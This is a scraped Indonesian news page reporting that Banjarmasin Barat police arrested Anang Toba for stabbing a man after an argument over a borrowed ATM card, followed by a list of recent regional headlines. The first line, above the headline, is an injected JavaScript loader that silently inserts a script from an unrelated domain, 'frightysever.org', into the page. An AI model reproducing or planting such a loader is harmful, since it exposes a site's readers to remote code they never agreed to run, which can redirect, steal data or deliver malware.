(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Adu Mulut Berujung Melukai, Anang Toba Dibekuk Polisi


KANALKALINANTAN.COM, BANJARMASIN – Seorang pria berinisial MN alias Anang Toba dibekuk jajaran Polsek Banjarmasin Barat karena melakukan tindak pidana penganiayaan.

Korban adalah Pariyadi, warga Kecamatan Mandastana, Kabupaten Barito Kuala (Batola), Kalsel.

Sedangkan pelaku merupakan warga jalan Banyiur Luar, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Kapolsek Banjarmasin Barat Kompol Faizal Rahman melalui Kanit Reskrim Iptu Firuza Bahri kronologis kejadian bermula ketika korban Pariyadi pada Selasa (21/2/2023) lalu, mencari kartu ATM miliknya yang dipinjam oleh pelaku.

Baca juga: Kelompok LSM Luncurkan Dana Nusantara Berdayakan Masyarakat Adat Lawan Perubahan Iklim 

Saat pertemuan korban dengan Anang Toba di jalan Ampera gang 20 RT 012 Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin terjadi adu mulut hingga berakhir penganiayaan di lokasi tersebut.

“Terlapor (Anang Toba) mengeluarkan senjata tajam dari pinggangnya dan langsung menganiaya korban,” katanya, Senin (8/5/2023) malam.

Atas kejadian tersebut korban mengalami luka robek di punggung tangan sebelah kiri di atas jari kelingking dan jari manis, serta luka robek di punggung sebelah kanan.

Lebih lanjut, dijelaskan pelaku Anang Toba berhasil diamankan tim Opsnal Reskrim Polsek Banjarmasin Barat pada Sabtu (6/5/2023) sekitar pukul 17.00 Wita di jalan Sutoyo S Gang 20, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

“Pelaku dan barang bukti hasil visum dibawa ke polsek guna proses hukum lebih lanjut,” ujar Iptu Firuza Bahri.

Sementara itu, dikatakan barang bukti sajam yang digunakan pelaku untuk menganiaya korban masih dalam proses pencarian.

Baca juga: Lomba Makanan Sehat Bergizi Berimbang Antar Kelurahan se Banjarbaru, Ini Daftar Juaranya

Pelaku diancam dengan Pasal 351 KUHP tentang Penganiayaan dengan ancaman hukuman maksimal 2 tahun 8 bulan penjara. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

8 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

2 hari ago